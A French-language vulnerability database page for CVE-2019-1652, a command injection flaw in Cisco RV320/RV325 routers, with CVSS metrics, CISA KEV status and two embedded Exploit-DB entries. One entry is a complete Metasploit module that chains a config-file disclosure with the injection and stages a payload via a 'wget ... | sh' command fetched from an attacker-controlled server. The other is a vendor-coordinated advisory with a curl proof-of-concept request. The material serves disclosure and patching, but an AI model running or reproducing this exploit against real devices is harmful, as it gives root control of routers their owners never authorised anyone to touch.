CVE-2019-1652 : Détail

CVE-2019-1652

7.2
/
Haute
OS Command Injection
A03-Injection
97.31%V3
Network
2019-01-24
16h00 +00:00
2024-11-12
21h21 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability

A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. The vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malicious HTTP POST requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux shell as root. Cisco has released firmware updates that address this vulnerability.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V3.0 7.2 HIGH CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Cisco Small Business Routers Improper Input Validation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-02 23h00 +00:00

Action attendue : 2022-03-16 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 46655

Date de publication : 2019-04-02 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", 'Description' => %q{ This exploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions. }, 'License' => MSF_LICENSE, 'Author' => [ 'RedTeam Pentesting GmbH', # Discovery, Metasploit 'Philip Huppert', # Discovery 'Benjamin Grap' # Metasploit ], 'References' => [ [ 'CVE','2019-1653' ], [ 'CVE','2019-1652' ], [ 'EDB','46243' ], [ 'BID','106728' ], [ 'BID','106732' ], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'LINUX MIPS64', { 'Platform' => 'linux', 'Arch' => ARCH_MIPS64 } ] ], 'Payload' => { 'BadChars' => "" }, 'CmdStagerFlavor' => [ 'bourne' ], 'Privileged' => true, 'DisclosureDate' => "Sep 9 2018", 'DefaultTarget' => 0)) register_options([ Opt::RPORT(8007), # port of Cisco webinterface OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]), OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up. ]) deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option. deregister_options('SSLCert') # not required since stager only uses HTTP. end def execute_command(cmd, opts = {}) # use generated payload, we don't have to do anything here end def autofilter true end def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") @cmdstager = generate_cmdstager().join(';') send_response(cli, "#{@cmdstager}") end def primer payload_url = get_uri print_status("Downloading configuration from #{peer}") if(datastore['USE_SSL']) print_status("Using SSL connection to router.") end res = send_request_cgi({ 'uri' => normalize_uri("cgi-bin","config.exp"), 'SSL' => datastore['USE_SSL'] }) unless res vprint_error('Connection failed.') return nil end unless res.code == 200 vprint_error('Could not download config. Aborting.') return nil end print_status("Successfully downloaded config") username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1] pass = res.body.match(/^PASSWD=(\h+)/)[1] authkey = "1964300002" print_status("Got MD5-Hash: #{pass}") print_status("Loging in as user #{username} using password hash.") print_status("Using default auth_key #{authkey}") res2 = send_request_cgi({ 'uri' => normalize_uri("cgi-bin","userLogin.cgi"), 'SSL' => datastore['USE_SSL'], 'method' => 'POST', 'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password=" }) unless res vprint_error('Connection failed during login. Aborting.') return nil end unless res.code == 200 vprint_error('Login failed with downloaded credentials. Aborting.') return nil end #Extract authentication cookies cookies = res2.get_cookies() print_status("Successfully logged in as user #{username}.") print_status("Got cookies: #{cookies}") print_status("Sending payload. Staging via #{payload_url}.") #Build staging command command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'") if(command_string.length <= 63) print_status("Staging command length looks good. Sending exploit!") else vprint_error("Warning: Staging command length probably too long. Trying anyway...") end res3 = send_request_cgi({ 'uri' => normalize_uri("certificate_handle2.htm"), 'SSL' => datastore['USE_SSL'], 'method' => 'POST', 'cookie' => cookies, 'vars_get' => { 'type' => '4', }, 'vars_post' => { 'page' => 'self_generator.htm', 'totalRules' => '1', 'OpenVPNRules' => '30', 'submitStatus' => '1', 'log_ch' => '1', 'type' => '4', 'Country' => 'A', 'state' => 'A', 'locality' => 'A', 'organization' => 'A', 'organization_unit' => 'A', 'email' => 'any@example.com', 'KeySize' => '512', 'KeyLength' => '1024', 'valid_days' => '30', 'SelectSubject_c' => '1', 'SelectSubject_s' => '1' }, 'data' => "common_name=#{command_string}" }) unless res3 vprint_error('Connection failed while sending command. Aborting.') return nil end unless res3.code == 200 vprint_error('Sending command not successful.') return nil end print_status("Sending payload timed out. Waiting for stager to connect...") end def check #Check if device is vulnerable by downloading the config res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")}) unless res vprint_error('Connection failed.') return CheckCode::Unknown end unless res.code == 200 return CheckCode::Safe end unless res.body =~ /PASSWD/ return CheckCode::Detected end CheckCode::Vulnerable end def exploit # Main function. # Setting delay for the Stager. Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error print_status("Waiting for stager connection timed out. Try increasing the delay.") end end
Exploit Database EDB-ID : 46243

Date de publication : 2019-01-24 23h00 +00:00
Auteur : RedTeam Pentesting
EDB Vérifié : Yes

RedTeam Pentesting discovered a command injection vulnerability in the web-based certificate generator feature of the Cisco RV320 router. Details ======= Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 and later Fixed Versions: since 1.4.2.20 Vulnerability Type: Remote Code Execution Security Risk: medium Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-004 Advisory Status: published CVE: CVE-2019-1652 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652 Introduction ============ "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details ============ The router's web interface enables users to generate new X.509 certificates directly on the device. A user may enter typical configuration parameters required for the certificate, such as organisation, the common name and so on. In order to generate the certificate, the device uses the command-line program openssl [2]. The device's firmware uses the following format string to assemble the openssl command: ------------------------------------------------------------------------ openssl req -new -nodes -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out %s%s.csr -days %s -newkey rsa:%s > /dev/null 2>&1 ------------------------------------------------------------------------ Although the web interface filters certain special characters via JavaScript, there is actually no input filtering, escaping or encoding happening on the server. This allows attackers to inject arbitrary commands. Proof of Concept ================ Even though all components of the subject seem to be vulnerable to command injection, the following example uses the common name to trigger a ping command: ------------------------------------------------------------------------ a'$(ping -c 4 192.168.1.2)'b ------------------------------------------------------------------------ The following HTTP POST request invokes the certificate generator function and triggers the command injection. It requires a valid session cookie for the device's web interface. ------------------------------------------------------------------------ curl -s -b "$COOKIE" \ --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\ "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\ "&organization=A&organization_unit=A&email=ab%40example.com"\ "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\ "SelectSubject_s=1" \ --data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" \ "http://192.168.1.1/certificate_handle2.htm?type=4" ------------------------------------------------------------------------ Afterwards, the incoming ICMP echo requests can be observed on the attacker's system at 192.168.1.2. Workaround ========== Prevent untrusted users from using the router's web interface. Fix === Install firmware version 1.4.2.20 (or later) on the router. Security Risk ============= The vulnerability allows attackers with administrative access to the router's web interface to execute arbitrary operating system commands on the device. Because attackers require valid credentials to the web interface, this vulnerability is only rated as a medium risk. Timeline ======== 2018-09-19 Vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-16 List of affected versions provided by vendor 2019-01-23 Advisory published References ========== [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://wiki.openssl.org/index.php/Command_Line_Utilities RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/

Products Mentioned

Configuraton 0

Cisco>>Rv320_firmware >> Version From (including) 1.4.2.15 To (excluding) 1.4.2.22

Cisco>>Rv320 >> Version -

Configuraton 0

Cisco>>Rv325_firmware >> Version From (including) 1.4.2.15 To (excluding) 1.4.2.22

Cisco>>Rv325 >> Version -

Références

https://www.exploit-db.com/exploits/46243/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/106728
Tags : vdb-entry, x_refsource_BID
http://seclists.org/fulldisclosure/2019/Mar/61
Tags : mailing-list, x_refsource_FULLDISC
https://seclists.org/bugtraq/2019/Mar/55
Tags : mailing-list, x_refsource_BUGTRAQ
https://www.exploit-db.com/exploits/46655/
Tags : exploit, x_refsource_EXPLOIT-DB